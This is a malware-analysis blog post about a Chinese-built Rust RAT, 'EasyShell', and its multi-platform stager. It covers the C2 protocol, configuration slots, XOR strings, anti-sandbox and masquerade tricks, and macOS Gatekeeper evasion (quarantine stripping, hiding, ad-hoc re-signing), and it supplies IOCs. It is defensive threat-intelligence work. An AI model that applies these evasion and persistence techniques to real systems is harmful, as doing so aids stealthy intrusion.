Friday, November 20, 2026

MMD-073-2026 - Linux/EasyShell, a new Rust RAT implant and beacon aims Linux and MacOS

Read & use this knowledge with caution, this post is a Linux threat analysis education material
Part I — Malware analysis

《 1. Introduction 》

This case started from a shell script spotted in the victim's node, credit to: 0xrb. At first look it was read as one more Chinese miner style uninstaller/downloader, the kind I have seen many times around the Vshell, Kinsing and SystemTen campaigns. It is not. The script is a multi platform installer (stager), and the binary it delivers is a Rust beacon implant that I could not find in any public threat report at the time of writing.

Four reverse engineering notes, one forensics analysis notes and two OSINT investigation notes were written on my analysis on this case. In this post I put them side by side, keep only what the sample and the cited sources can prove, and drop the guesses. Every finding carries a confidence label. Predictions are not part of this report, also I treat forensics evidence analysis (actor's execution) and malware analysis (scripts and binary) in different sections without mixing them up, for the purpose of further investigation.

■ 1.1 Executive summary

ItemSummary
At a glanceA shell stager served from hxxps://192[.]3.31[.]148:8443 drops a payload named polkitd on Linux (5 CPU targets) and macOS (Intel, Apple Silicon). The Linux i386 payload (l32) is a Rust HTTPS beacon implant. Its own build paths name the framework EasyShell (easyshell-http-beacon-implant, impl-core).
Name used in this postLinux/EasyShell (alias ESCH), after the author build string easyshell-http-beacon-implant.
I am confident the malware is a new strain based on the way it built, coding environment trace and based on Rust programming language used, yet it seems inspired with a lot of influence from similar threats we already know under the same ecosystems.
What EasyShell isA Chinese red team C2 framework with versioned releases, HTTP/DNS/KCP listeners, a trial program and a paid member circle, promoted through WeChat security channels next to the tools of the GitHub developer handle doki-byte High. The l32 strings fit that framework (chapter 14).
AimHands-on access: shell, file theft, credential plugins, SOCKS and relay pivot High. No monetisation code. Operator intent unknown (18.1). macOS support is explained in 18.2.
Initial accessNot observed. The C2 was found during the October 2026 vulnerability wave (PHP2Shell and others), but no evidence ties the campaign start to it Unverified (20.1).
StatusStatic analysis of all seven payloads (l32, l64, l128, a32, a64, darwin_amd64, darwin_arm64) and the stager text. No sample was executed.
Payload setAll seven builds share one configuration: same C2, same 32-byte value, same constant Confirmed. Config stamped into prebuilt templates High. The macOS client adds silent screenshots and an AppleScript mouse check; Macs are in scope High (chapters 15, 18.3).
Family callPayload: EasyShell Rust implant Confirmed. Not VShell Confirmed. Stager layout shares the public VShell stager template High. No Kinsing or SystemTen link Confirmed.
Origin markersUSTC cargo mirror, zh-CN first in Accept-Language, Simplified Chinese operator strings, Chinese comments in the stager Confirmed. They describe the build environment of the tool. Since the tool is handed out to trial and paying users, they do not identify the operator of this C2.
C2 / staginghxxps://192[.]3.31[.]148:8443 (AS36352, prefix 192[.]3.28[.]0/22, US). Same host serves the stager, the payloads and the implant beacon Confirmed.
If you only do one thingLook for a process named like a kernel thread ([kworker/0:0], [rcu_sched], ...) that has a real /proc/<pid>/exe, and for HTTPS POSTs to /api/v2/sync carrying X-Client-Id.

■ 1.2 Key points for busy readers

Short version of what each artifact does. Every point links to the chapter with the evidence.

The stager script
The ELF binary (l32, Linux/EasyShell)
Attacker's shell log analysis
For defenders

■ 1.3 Changelog

VersionDateChange
v12026-11-19First review draft: stager, l32 static analysis, cross review, CTI, vulnerability triage, YARA.
v22026-11-20Two OSINT notes verified and merged (chapters 14, 17, 19, 20). Infrastructure BGP table added (chapter 12). Chapter layout aligned with MMD-071. YARA family rule extended with two framework strings.
v82026-11-20Stager image redrawn with each original Chinese comment followed by its English translation; Chinese glossary with pinyin added (2.2); placeholder chapter 29 for the hot forensics of a victim node; placeholder for the attacker's shell log analysis in 1.2.
v72026-11-20l64 and l128 analysed: all seven payloads covered; correction in 15.1 (builds not compiled in one run, l128 uses rustc 1.96.0; config stamped into prebuilt templates); LoongArch note; Macs in scope raised to High; new 18.3 practical macOS infection chain; IOC, YARA, osquery and STIX updated.
v62026-11-20Four more payloads analysed (a32, a64, darwin_amd64, darwin_arm64): new chapter 15 with three radare2 style views; one shared configuration confirmed; macOS client modules documented; 18.2 R2 raised to Medium; IOC, TTP, YARA (new macOS rule), Sigma, osquery and STIX updated.
v52026-11-20Campaign aim and the reason for macOS support (18.1, 18.2); October to November 2026 vectors that reach both Linux and macOS (23.8). macOS osquery query added.
v42026-11-20October 2026 vulnerability wave added to the timeline; hypothesis "campaign started with the wave" tested with ACH (20.1, 20.2). Web-server-to-stager Sigma rule and osquery query added.
v32026-11-20Original stager screenshot added as evidence (chapter 2). Key points for busy readers with chapter links (1.2). Triage matrix column widths fixed with sideways scrolling (23.5).

■ 1.4 OPSEC note

IP addresses and URLs are masked (w[.]x.y[.]z, hxxps) and not linkable. The stager and any code that can be abused are shown as images only. Lab hosts, user names and analysis infrastructure are not shown.

■ 1.5 How to read this post

LabelMeaning in this post
ConfirmedProven by the sample bytes, the disassembly, the stager text, or a source page read for this post.
HighStrong evidence from the sample plus at least one public source, small room for another reading.
MediumConsistent with the evidence, but another explanation is still possible.
PartlyPart of the claim holds, part does not.
Not supportedThe sample or the cited source says otherwise, or the claim is an inference presented as a fact.
UnverifiedCould not be checked from the material in hand.

All disassembly views are produced from a static listing (llvm-objdump -d -M intel) with string references resolved by my own script against the i386 GOT base (ebx = 0x083dff88). They are laid out in radare2 style (pd, px, iI, iS) so students can reproduce them with r2 on the same offsets.

[EDU] What to learn here
  • A screenshot of a script is evidence of the stager only. The family call must come from the payload, not from the downloader layout.
  • Write confidence next to each finding. It stops a first impression from turning into a conclusion.

《 2. Threat information and the stager scheme 》

▸ [!] The script is shown as an image on purpose (malicious code shown as image for safety). The URL host is masked, each original Chinese comment is kept and followed by its English translation (EN), and the screenshot ends at the line that sets the execute permission, so the execution tail is not visible and is not reconstructed here.
[ITW] stager script with original Chinese comments and English translation (view-only image)
Stager text transcribed from the C2 screenshot, IP masked. Each original Chinese comment is kept and followed by an English line marked EN. Highlighted lines: writable path probe, payload name, macOS hiding and Gatekeeper handling.
[ITW] Artifact spotted in the wild attack

Evidence: the original screenshot of the stager as served by the C2. The IP is masked in the image; nothing else is edited. The Chinese comments are the author originals (translated in the transcription above). The capture ends at the execute-permission line.

[ITW] original C2 stager screenshot, IP masked (view-only image)
Original screenshot of the stager served by hxxps://192[.]3.31[.]148:8443 (IP masked, no other edit).
[ITW] Artifact spotted in the wild attack

■ 2.1 What each block does

LinesBehaviourConfidence
1 to 8Extends PATH, then tests write access by touching and deleting writeablex in /usr/local/bin, /usr/libexec, /usr/bin. The working directory ends in the last writable one (as root: /usr/bin), otherwise /tmp.Confirmed
10 to 16Seven payload URLs on one host: /file/darwin_amd64, darwin_arm64, l64, l32, a32, a64, l128.Confirmed
18 to 19Payload file name is fixed: polkitd. Any old copy is deleted first. This is the only "removal" in the script.Confirmed
21 to 45Selects the payload by uname -s and uname -m. l128 maps to loongarch64.Confirmed
46 to 48Download chain curl, wget, python3, python2, all with TLS verification off.Confirmed
23 to 27, 53 to 67macOS only: stores in ~/Library/Caches, chflags hidden, xattr -c (drops com.apple.quarantine), ad-hoc codesign when Xcode CLT exists.Confirmed

So the answer to the first question of this case is simple: it is not an OSX uninstaller. It installs, on both macOS and Linux.

■ 2.2 Chinese terms in the stager comments (glossary)

The stager comments are written in Simplified Chinese. The table lists every term used in them with pinyin and the meaning in this context, so readers can recognise the same wording in other samples. Line numbers refer to the stager image above.

ChinesePinyinEnglish (in this context)Stager line
优先yōuxiānprefer, give priority to24
用户级yònghù jíuser-level24
缓存目录huǎncún mùlùcache directory24
无需wúxūno need for (here: no root needed)24
默认隐藏mòrèn yǐncánghidden by default24
失败再退shībài zài tuìif that fails, fall back to24
清掉qīng diàoclear out, wipe55
所有扩展属性suǒyǒu kuòzhǎn shǔxìngall extended attributes (xattr)55
含hánincluding55
下载xiàzàidownload55
本来不带běnlái bù dàidoes not carry in the first place55
隔离属性gélí shǔxìngquarantine attribute (com.apple.quarantine)55
这行是兜底zhè háng shì dōudǐthis line is the fallback / safety net57
保证bǎozhèngto make sure57
即使jíshǐeven if57
浏览器liúlǎnqìweb browser57
隔空投送gékōng tóusòngAirDrop (Apple term in Chinese UI)57
放过来fàng guòláidropped / sent over57
直接跑zhíjiē pǎorun directly57
已装yǐ zhuāngalready installed60
顺手补一次shùnshǒu bǔ yī cìadd it once while at it60
签名qiānmíngsignature (code signing)60
要求yāoqiúrequires60
可执行文件kě zhíxíng wénjiànexecutable file60
有效签名yǒuxiào qiānmíngvalid signature60
这步zhè bùthis step62
都跑得起来dōu pǎo de qǐláican all run62
没装méi zhuāngnot installed62
直接跳过zhíjiē tiàoguòskip straight past it62
不会弹bú huì tánwill not pop up62
安装提示框ānzhuāng tíshì kuànginstall prompt dialog62
▸ Reading tip: colloquial wording such as "兜底" (safety net), "顺手" (while at it) and "跑" (to run, literally "to run on foot") is developer slang. It reads like notes written by the tool author for its users, which fits a framework template more than a one-off script written for this campaign.
[EDU] What to learn here
  • Read rm lines in context. Here they only clean the probe files and a previous payload copy.
  • Gatekeeper handling in a downloader (hide, strip quarantine, ad-hoc sign) is a strong macOS hunting point by itself.

《 3. Stager template versus public VShell reports 》

The opening block (PATH extension plus the writeablex probe) is described in Trellix research on VShell, and a December 2025 incident write-up shows the same probe lines with l64/l32/a64/a32 variables on port 8443. NVISO documents the same short architecture labels in its VShell detection rules, plus d64/m64 for Darwin.

ElementPublic VShell materialThis stager
writeablex probeYes (Trellix, incident write-up)Yes
l64 / l32 / a64 / a32 labelsYes (incident write-up, NVISO rules)Yes
Download URL form?h=..&p=..&t=..&a=l64&stage=true (incident write-up)/file/<arch>
Darwin labeld64 / m64 (NVISO rules)darwin_amd64 / darwin_arm64
LoongArchNot documentedl128
Payload nameRandom hex name (incident write-up)Fixed polkitd
macOS Gatekeeper stepsNot documentedYes

Verdict: the stager shares the public VShell stager template High. The /file/ routes, the Darwin names, l128 and the macOS steps are not in the public VShell material I could check Confirmed. The template alone does not name the payload family, and chapter 4 shows the payload is not VShell. Whether this stager is generated by the EasyShell server itself is not proven: the l32 implant speaks of "listener payloads", but the /file/ routes and the stager text are not inside l32 Unverified.

[EDU] What to learn here
  • Downloader templates are copied between toolkits. Treat a template match as a link to a layout, not to a malware family.

《 4. Binary information and major functionality 》

polkitd (l32) :: file information  [static, never executed]
l32 payload. Toolchain strings from .comment: Rust 1.95.0 (2026-04-14) built on Ubuntu 22.04.
polkitd (l32) :: sections
Standard sections, not packed: .text about 2.4 MB, .rodata about 640 KB.

The l32 file is the payload of the stager: it is the object served at /file/l32, it is saved as polkitd, and its embedded C2 is the same host and port Confirmed. It is a statically linked Rust binary (3,769,372 bytes), built after 14 April 2026 Confirmed. VShell clients are Go programs, so this payload is not a VShell client Confirmed. Six more builds from the same server (x86-64, LoongArch, ARM and macOS) are compared in chapter 15.

Major functionality, detailed in chapters 6 to 11: tagged config slots patched by a builder, HTTPS beacon to /api/v2/sync, XOR 0x5A string pool, kernel-thread name masquerade, anti-sandbox checks, PTY shell, plugin execution, chunked file transfer, SOCKS5 and relay tunnels, screenshot helper and self delete.

[EDU] What to learn here
  • The .comment section survives stripping. Compiler and Rust versions there give you a lower bound for the build date.

《 5. Build provenance left in the binary 》

polkitd (l32) :: project source paths left by the build
Project source paths. The crates/ prefix plus mirrors.ustc.edu.cn come from the build host cargo setup.
MarkerValueConfidence
Framework / crate nameseasyshell-http-beacon-implant, impl-core (27 module paths)Confirmed
Crate sourceEvery dependency fetched through mirrors.ustc.edu.cn (USTC cargo mirror)Confirmed
Operator textSimplified Chinese messages (chapter 8 and 14)Confirmed
Request headerAccept-Language zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Confirmed
Go componentOperator hint Run build-client.ps1, go build, redeploy client and transport labels Rust, Go, Go tcpConfirmed (strings), the Go part itself is not in hand

These are environment markers of the developer. They show a Chinese language build environment High. They do not identify a person or a named threat group, and I do not attribute this case to any group.

[EDU] What to learn here
  • Cargo writes the registry path into panic metadata. A mirror name in that path tells you how the build host was configured.

《 6. Configuration block and the !ES slots 》

The builder patches fixed slots tagged !ES/<n>/<TAG>/. Tags present in l32: PASS, PROXY, SBOX, BURI, UAGT, WAIT, JITR, CTYP, HDRS Confirmed. A slot that still shows its tag followed by underscores is unpatched. Next to them, a space padded block holds the live values.

polkitd (l32) :: config table builder  fcn.08062a04
Config table builder: one function loads the C2 URL, the 32-byte base64 value, /api/v2/sync, the SBOX and UAGT slots, a binary blob, 3000, 8, CTYP and HDRS into one structure. C2 masked.
polkitd (l32) :: configuration block bytes
Raw bytes: UAGT and SBOX are unpatched in this build. The base64 value sits in its own space padded field.
polkitd (l32) :: User-Agent slot check  (fcn.08065a89)
If the UAGT slot still starts with its 11-byte tag, the code moves past the tag of a second copy and uses the built-in Chrome 131 Windows User-Agent.
FieldValue in l32What is proven
C2 basehxxps://192[.]3.31[.]148:8443Loaded by the config builder Confirmed
Sync path/api/v2/syncLoaded by the config builder Confirmed
32-byte valueLY6nDGIwrDlZZrvHtRseg+IWBrJuvbT6LFHEUM7I3lo= (hex 2d8ea70c...cec8de5a)Stored and loaded Confirmed. Role (public key or symmetric key) Unverified
User-AgentBuilt-in default, slot unpatchedConfirmed
Sandbox profile (SBOX)Unpatched; code checks for a { JSON startConfirmed
3000 and 8Literal defaults in the tableStored Confirmed. Meaning (interval, jitter) Unverified
Tag to value mappingFor example BURI = C2 URLUnverified (the URL is not inside the BURI slot)
[EDU] What to learn here
  • When a config uses tagged placeholder slots, compare a patched and an unpatched slot. The padding style tells you which values the operator really set.
  • Do not name a value by its neighbour. Here the C2 URL is loaded by code, not by a tag, so the tag meaning stays unverified.

《 7. C2, protocol and network indicators 》

polkitd (l32) :: beacon header and timeout references
Code references: the Client-Id / X-Client-Id header names, the zh-CN Accept-Language value, and the "beacon first POST timeout" path.
IndicatorValueConfidence
TransportHTTPS via reqwest + rustls to hxxps://192[.]3.31[.]148:8443Confirmed
Method / pathPOST /api/v2/syncConfirmed
Client headerX-Client-Id (also Client-Id, client-id)Confirmed
BodyJSON envelope with keys from the HDRS template (requestHeaders, responseHeaders, actionKey, payloadKey, ...)Confirmed (strings) / exact layout Unverified
User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/131.0.0.0 Safari/537.36Confirmed
Accept-Languagezh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Confirmed
SleepSleep and jitter messages, 200 ms fast poll modeConfirmed (strings)
Other transports of the frameworkOperator text: the cascade bridge supports only TCP/WebSocket transport, "current HTTP transport unavailable"Confirmed (strings). This build is the HTTP one.
[EDU] What to learn here
  • A Windows browser User-Agent sent by a Linux process is a mismatch you can hunt on any proxy log.

《 8. XOR 0x5A string protection 》

Part of the string pool is stored XOR encoded with one byte, 0x5A. Spaces become z (0x20 ^ 0x5A = 0x7A), which is why the encoded pool looks like ?(z 3*z noise Confirmed.

polkitd (l32) :: XOR 0x5A string decoder  fcn.080b2721 + caller
Caller passes the encoded label and the key 0x5a; the decoder loop at 0x080b2778 XORs each byte and appends it to the output buffer.
polkitd (l32) :: decoded samples (XOR 0x5A)
Samples decoded offline with the same key.

Operator messages (Simplified Chinese, translated) say that token elevation, credential dumping (via Mimikatz), browser password theft and sensitive file search are not built into this implant and are offered through an "Extensions" plugin set Confirmed. ConPTY strings for Windows 10 1809 / Server 2019 sit in the same pool, so the framework has a Windows side Confirmed. The Windows implant itself is not in hand.

The same caller copies 32 raw bytes from 0x082afdc0 together with the decoded label es-hop-wire-v1 into a routine with 0x80 padding and a 64-byte block length, the shape of SHA-256 finalisation. This is consistent with a key derivation for the relay hop protocol Medium.

[EDU] What to learn here
  • Single-byte XOR leaves the text length unchanged and turns spaces into one repeated byte. Count the most frequent byte in a "random" string pool before you reach for a debugger.

《 9. Process name masquerade and anti-sandbox checks 》

polkitd (l32) :: process-name table (procname.rs)
Eleven kernel-thread style names stored as (pointer, length) pairs.

The names belong to procname.rs. Real kernel threads have no user space executable, so any of these names with a valid /proc/<pid>/exe link is a strong host indicator Confirmed. The selection logic was not traced in this static pass Unverified.

polkitd (l32) :: anti-sandbox inputs (sandbox_guard.rs)
Inputs read by sandbox_guard.rs: DMI vendor files, hypervisor names, systemd virtualization variable, resource limits and mouse activity on /dev/input/mice.

The interactive shell prepares its environment with HISTFILE=/dev/null, HISTFILESIZE=0 and set +H so shell history is not kept Confirmed.

[EDU] What to learn here
  • A sandbox that has no mouse and a small /tmp is easy to detect. Give your dynamic lab realistic resources if you want to see the beacon run.

《 10. Implant overall design 》

The diagram below is drawn only from what the stager text and the l32 binary show. Each box is a module or a string set confirmed in chapters 2 to 9; flows marked between the implant and the C2 come from the config builder and the beacon references.

+------------------------+                 +----------------------------------+
| stager  (sh / bash)    |    /file/<arch> | C2 + staging host                |
| writeablex probe       |<----------------| hxxps://192[.]3.31[.]148:8443    |
| uname -s / uname -m    |                 | /file/darwin_amd64  darwin_arm64 |
| curl,wget,python3,py2  |                 | /file/l64 l32 a32 a64 l128       |
+-----------+------------+                 +----------------+-----------------+
            |  save as polkitd                              ^
            |  (macOS: hide, xattr -c, codesign)            |
            v                                               |
+-----------+----------------------------------+            |
| polkitd   Rust  EasyShell impl-core          |            |
|----------------------------------------------|            |  POST /api/v2/sync
|  config    !ES/<n>/<TAG>/ slots, C2 URL,     |            |  X-Client-Id + JSON
|            32-byte base64 value              |            |  UA Chrome/131 (Win)
|  strings   XOR 0x5A protected pool           |            |  Accept-Language zh-CN
|  stealth   procname  [kworker/0:0] ...       |            |
|  guard     sandbox_guard: DMI, VM names,     |            |
|            mouse, cpu/ram/uptime/tmp         |            |
|  uplink    es-beacon-uplink  ----------------|------------+
|            sleep + jitter, 200ms fast poll   |
+-----------+----------------------------------+
            |  tasks from C2 (wire_dispatch, wire_chunk)
            v
+-----------+------------------+           +------------------------------+
| task dispatcher              |---------->| interactive PTY shell        |
|                              |           +------------------------------+
|                              |---------->| plugin / script execution    |
|                              |           +------------------------------+
|                              |---------->| file upload / download / zip |
|                              |           +------------------------------+
|                              |---------->| SOCKS5 + relay hops          |
|                              |           |   es-hop-wire-v1, HOPBIND    |
|                              |           +------------------------------+
|                              |---------->| outbound proxy               |
|                              |           +------------------------------+
|                              |---------->| screenshot sidecar           |
|                              |           +------------------------------+
|                              |---------->| process list / kill          |
|                              |           +------------------------------+
|                              |---------->| delete self                  |
+------------------------------+           +------------------------------+
                                             not built in, "Extensions" set:
                                             privesc, Mimikatz, browser creds
Legend: ■ boxes   ■ flow   ■ C2 URL / beacon   ■ payload routes, files, names   ■ components
[EDU] What to learn here
  • Draw the design from confirmed parts only. A box you cannot point to in the binary does not belong in the diagram.

《 11. Full list of impl-core modules 》

Module pathFunction (from module name and nearby strings)Confidence
interactive.rsPTY shell (openpty, /bin/bash -il, zsh -i, /bin/sh)Confirmed
plugin_exec/unix.rs, execute_gate.rsReceives and runs native binaries and scripts ("[*] spawning native binary in isolated child")Confirmed
download_xfer.rs, upload_worker.rs, folder_zip.rs, wire_chunk.rsFile transfer in chunks, folder archiving with a 4 GiB limitConfirmed
socks_tunnel/*SOCKS5 start/stop, multiplexed tunnels, relay hops (es-hop-wire-v1, HOPBIND), listen and forward labelsConfirmed
outbound_proxy.rsOutbound via tcp/http/https/socks4/socks4a/socks5/socks5h proxyConfirmed
screenshot_sidecar.rsScreenshot through a helper; Linux path refuses without a displayConfirmed
svc_ops.rs, sysinfo.rsProcess list (Process Name, PPID, PID, Arch, User), kill, host infoConfirmed
delete_self.rsSelf delete (delete-self-1)Confirmed
sandbox_guard.rs, sandbox_user.rsAnti-VM and user presence checks (chapter 9)Confirmed
crypto.rsUses AES, curve25519, SHA-2 crates; exact schemeUnverified
(command marker)!inj: platform string next to the PROXY slot: an injection command exists in the command set; what it does on Linux was not tracedConfirmed (string) / behaviour Unverified

No mining code, no wallet, no stratum strings, no competitor killer, no spreader and no persistence routine were found in l32 Confirmed. This is a remote access implant, not a miner.

[EDU] What to learn here
  • Rust panic metadata keeps module file paths even in stripped builds. Use them as a free table of contents for the binary.

《 12. Infrastructure used by the attacker 》

// Infrastructure used by attacker //

One IP is used by the attacker in this case: it serves the stager, the seven payloads and the beacon. The other rows are context from the public record, with reverse DNS, ASN, prefix, AS name and country in the same line format.

192[.]3.31[.]148  | (PTR not collected)                     |36352 | 192[.]3.28[.]0/22 | AS-COLOCROSSING (HostPapa) | US |
192[.]3.31[.]219  | 192-3-31-219-host.colocrossing[.]com.   |36352 | 192[.]3.28[.]0/22 | AS-COLOCROSSING (HostPapa) | US |
192[.]3.211[.]176 | (PTR not collected)                     |36352 | (not collected)   | AS-COLOCROSSING (HostPapa) | US |
119[.]45.243[.]154 | (PTR not collected)                    |45090 | 119[.]45.0[.]0/16 | TENCENT-NET-AP             | CN |
[ITW] Artifact spotted in the wild attack
IP (masked)RoleRelation to this caseConfidence
192[.]3.31[.]148Stager host, payload host and beacon C2 on tcp/8443This caseConfirmed
192[.]3.31[.]219Same /22, URLhaus: AgentTesla payload URLs in June to July 2020, all offlineNot related (old shared hosting neighbour)Confirmed
192[.]3.211[.]176Reported by an OSINT note as a ThreatFox VShell C2 on tcp/19999, first seen 2026-04-15Same provider only. Entry not read for this post; a provider match is not an operator linkUnverified
119[.]45.243[.]154December 2025 incident write-up: same writeablex stager template on tcp/8443Template context, different provider and timeConfirmed (write-up) / link Not supported
▸ BGP data: AS36352 is registered to HostPapa (AS name AS-COLOCROSSING, Buffalo NY, ARIN); 192[.]3.28[.]0/22 is a ColoCrossing prefix of AS36352; 119[.]45.0[.]0/16 is announced by AS45090 (Tencent). Collected 2026-11-20 from public registry and BGP views. The TLS certificate on tcp/8443 was not collected, so no certificate pivot is made. Do not block the whole AS36352: it has a long and mixed history.
[EDU] What to learn here
  • A shared ASN or a shared /22 is hosting context, not attribution. A shared TLS certificate, a shared URL route or a shared payload hash is a real link.
  • Write the prefix next to the IP. Abuse reports and blocklists work on prefixes, and the prefix tells you whom to contact.

《 13. The 32-character constant 》

polkitd (l32) :: 32-char constant reference  fcn.080b2c62
Lazy initialiser that passes the 32-character string with length 0x20 to a parsing routine.

The string 8M5c7faXc4Q8NdXgpCRiIdhhCTyAujKw is a hard-coded constant used by one lazy initialiser Confirmed. It is not stored in the !ES/1/PASS/ slot; that slot holds no value in this build Confirmed. Its role (password, pre-shared key or other) is Unverified. Treat it as a sample-specific string for retro-hunting, not as a credential.

[EDU] What to learn here
  • Check where a value lives before you name it. A string near a slot tag is not automatically that slot value.

《 14. EasyShell public footprint versus this build 》

The OSINT notes pointed to a Chinese red team C2 framework called EasyShell. I read what was reachable and compared it with the l32 strings. Only what both sides show is used below.

■ 14.1 What the public pages show

StatementSourceConfidence
EasyShell is a red team C2 tool released in numbered versions; v1.9 fixed a heartbeat bug that made HTTP, DNS and KCP listener sessions unstable, fixed Linux builds made on a new Ubuntu that ran badly on old CentOS, and reworked the clientgm7.org v1.9 note, cn-sec.com mirrorConfirmed
Earlier release notes listed with it: v1.8 "client rebuilt, smaller size, better AV evasion" and v1.7Same v1.9 noteConfirmed
v1.9 demo covers client generation, screen monitoring and an autostart testSame v1.9 noteConfirmed (claim in the note)
New versions go to a paid member circle together with the morelian WebShell manager and an AV evasion build of EasyTools; old versions are given on requestSame v1.9 noteConfirmed
Trial program for normal users: previous version only, one device for two days, reset by pointsgm7.org trial noteConfirmed
GitHub handle doki-byte publishes EasyTools and other offensive toolinggithub.com/doki-byteConfirmed
EasyShell comes from the same developer ecosystem as doki-byte (tools bundled in the same member offer)v1.9 note plus GitHub profileHigh
A README in a doki-byte/EasyShell repository credits VShell, Rshell and Cobalt Strike as design referencesOSINT note B; page not reachable for this postUnverified

■ 14.2 Match against l32

Framework feature (public)Seen in l32Confidence of match
Name EasyShelleasyshell-http-beacon-implant, !ES/ slots, ESCH prefixConfirmed
Several listener transports (HTTP, DNS, KCP, plus TCP/WebSocket per OSINT note B)Operator text naming TCP/WebSocket and HTTP transports; "redeploy latest listener payload"; this build is the HTTP one; no KCP and no DNS listener codeHigh
Client rebuilt and made smaller (v1.8)Rust client, 3.77 MB static i386, built after 2026-04-14; Go client hint "go build, redeploy client" still presentMedium (language of v1.8 not stated in the page I read)
Linux build compatibility fix (v1.9)l32 is statically linked, GCC 11.4 on Ubuntu 22.04Medium
Plugins outside the core"Extensions" plugin set for elevation, credentials, browser passwords, file searchConfirmed
Screen monitoringscreenshot_sidecar.rsConfirmed
Windows sideConPTY stringsConfirmed
Autostart / persistenceNo persistence routine in l32Not in this build

Result: l32 is a client of the EasyShell red team framework sold and trialled through these channels High. The framework developer is a tool author. Who operates 192[.]3.31[.]148 is not known, and the trial and member distribution means it can be any user of the tool Confirmed.

[EDU] What to learn here
  • A commercial or trial red team kit found in the wild is a dual-use case. Separate three roles in your report: the tool author, the tool user (operator), and the victim.
  • Match features both ways. A public feature you cannot see in the binary is a gap, not a contradiction, and a binary feature missing from the public notes is new information.

《 15. Payload set compared: all seven builds 》

After the first draft, the six other payloads served by the same C2 were collected and analysed statically: /file/l64, /file/l128, /file/a32, /file/a64, /file/darwin_amd64 and /file/darwin_arm64. All seven routes of the stager are now covered.

RouteFile typeSizeToolchainSHA-256
l32ELF32 Intel 80386, static, stripped3,769,372rustc 1.95.0 (59807616e), GCC 11.4.0 Ubuntu 22.04fe1666de877da2680ebd637387d9700482425d5d93947202a48af247305e81d4
l64ELF64 x86-64, static-pie, stripped4,632,328rustc 1.95.0 (59807616e), GCC (GNU) 11.2.1 and 9.4.0 objectsc31f7fe43c3b144a8e35533062663928ad23534db0cd86abf8ebcc3e93d95696
l128ELF64 LoongArch, dynamic (glibc, /lib/ld.so.1), stripped3,661,344rustc 1.96.0 (ac68faa20, 2026-05-25), GCC (GNU) 13.2.07fbed01a062c5204be53ea18acd64e2463b962f04977c4eba8e3d8481cabe6b6
a32ELF32 ARM EABI5, static, stripped3,351,856rustc 1.95.0 (59807616e), GCC 11.4.0 Ubuntu 22.0412b5bbaecc618c16f2b077ab6549b9b34fbd07de409af080aac7f2a8234ab6cf
a64ELF64 AArch64, static, stripped3,755,152rustc 1.95.0 (59807616e), GCC (GNU) 9.4.0d1ec7081abf4a46b6df2a988f291458b09dc24badf23738fe48ed27bc0501be4
darwin_amd64Mach-O x86_64 PIE, ad-hoc signed4,072,800rustc 1.95.0 (59807616e), Apple ld, SDK 15.2, min macOS 10.15fce33d2a9ff591ce02614d8e89729db074891b058762bb2a0bb2c1a7ac465f2c
darwin_arm64Mach-O arm64 PIE, ad-hoc signed3,468,736rustc 1.95.0 (59807616e), Apple ld, SDK 15.2, min macOS 11.0b389c22ac1268d43d9bdede5fdfb41a27cf202788917c96a80ef90c8d7cac7bf

■ 15.1 One configuration in every build

payload set :: one config in all seven builds  [static]
The same C2 field, 32-byte base64 value and 32-character constant in all seven payloads. C2 masked.

All seven builds carry the same C2 (hxxps://192[.]3.31[.]148:8443), the same 32-byte base64 value, the same 32-character constant, the same /api/v2/sync path and the same !ES/ slot layout with UAGT and SBOX left unpatched Confirmed. The configuration was set once for this server Confirmed.

The builds were not compiled in one run: l128 was compiled with rustc 1.96.0 (released 2026-05-25), the other six with rustc 1.95.0 (2026-04-14), and four different C toolchains appear across the set Confirmed. With the tagged, padded !ES/ slots (chapter 6), this fits a builder that stamps the operator configuration into prebuilt client templates High. The compiler fingerprints then describe how the EasyShell developer builds the templates, not the machine of the operator Medium. Earlier drafts of this chapter said the set was built together; that is corrected here.

■ 15.2 Linux builds: x86-64, ARM and LoongArch

l64, l128, a32 and a64 have the same 27 impl-core module paths as l32, the same kworker name table, sandbox checks, XOR 0x5A pool and operator strings Confirmed. They are the same implant for other CPUs. The differences are in the toolchain: l64 is a static-pie build; a64 was linked with GCC 9.4.0 instead of the Ubuntu 22.04 GCC 11.4.0 of l32 and a32; l128 is the only dynamically linked build (glibc, /lib/ld.so.1, GCC 13.2.0) and the only one compiled with rustc 1.96.0 Confirmed.

l128 (LoongArch) and l64 :: build fingerprints  [static]
l128 (LoongArch): dynamic glibc build with a newer rustc than the rest of the set; l64 for comparison.

LoongArch (l128) is the CPU family of Loongson processors, used mainly in Chinese domestic computing platforms. Shipping a LoongArch client fits a Chinese red team product whose customers must cover those platforms Medium. It does not prove that this operator targets hosts in China Unverified.

■ 15.3 macOS builds

darwin payloads :: Mach-O header, linked frameworks, code signature
Mach-O header, linked system frameworks and the ad-hoc code signature of both darwin payloads.
darwin payloads :: macOS-only behaviour  [static]
macOS-only behaviour: silent screencapture (XOR protected), AppleScript mouse check, TCC-aware process listing, sysctl host info, macOS module paths.
ItemmacOS buildsLinux buildsConfidence
Source path prefix/c/impl-core/src/ (28 paths)crates/impl-core/src/ (27 paths)Confirmed
ScreenshotBuilt in: screenshot/mod.rs, scale.rs, runs /usr/sbin/screencapture -x -t png (silent); string XOR protectedHelper process (screenshot_sidecar.rs), refuses without a displayConfirmed
User presence checksandbox_mouse.rs: osascript asks "System Events" for the mouse position/dev/input/miceConfirmed
Process name masqueradeNone (procname.rs absent)Eleven kworker-style namesConfirmed
Host informationsysctlbyname: hw.model, hw.machine, hw.cpufrequency; IOKit and SystemConfiguration linked/proc and DMI filesConfirmed
Process listingps with a 12 s timeout and an operator hint that macOS TCC may block it ("grant Full Disk Access or run from Terminal once")/procConfirmed
Shellzsh -i / bash -il with BASH_SILENCE_DEPRECATION_WARNING=1/bin/bash -il, /bin/shConfirmed
PersistenceNo LaunchAgent or LaunchDaemon stringsNoneConfirmed
Code signatureAd-hoc (CodeDirectory flags 0x2), no Team ID, identifier http-beacon-implant-55554944<LC_UUID>n/aConfirmed

The signature identifier shows the binary was linked under the name http-beacon-implant and signed without any developer identity Confirmed. The stager re-signs the file on the host (codesign --force --sign -), so the identifier on a victim may differ from the one served Unverified.

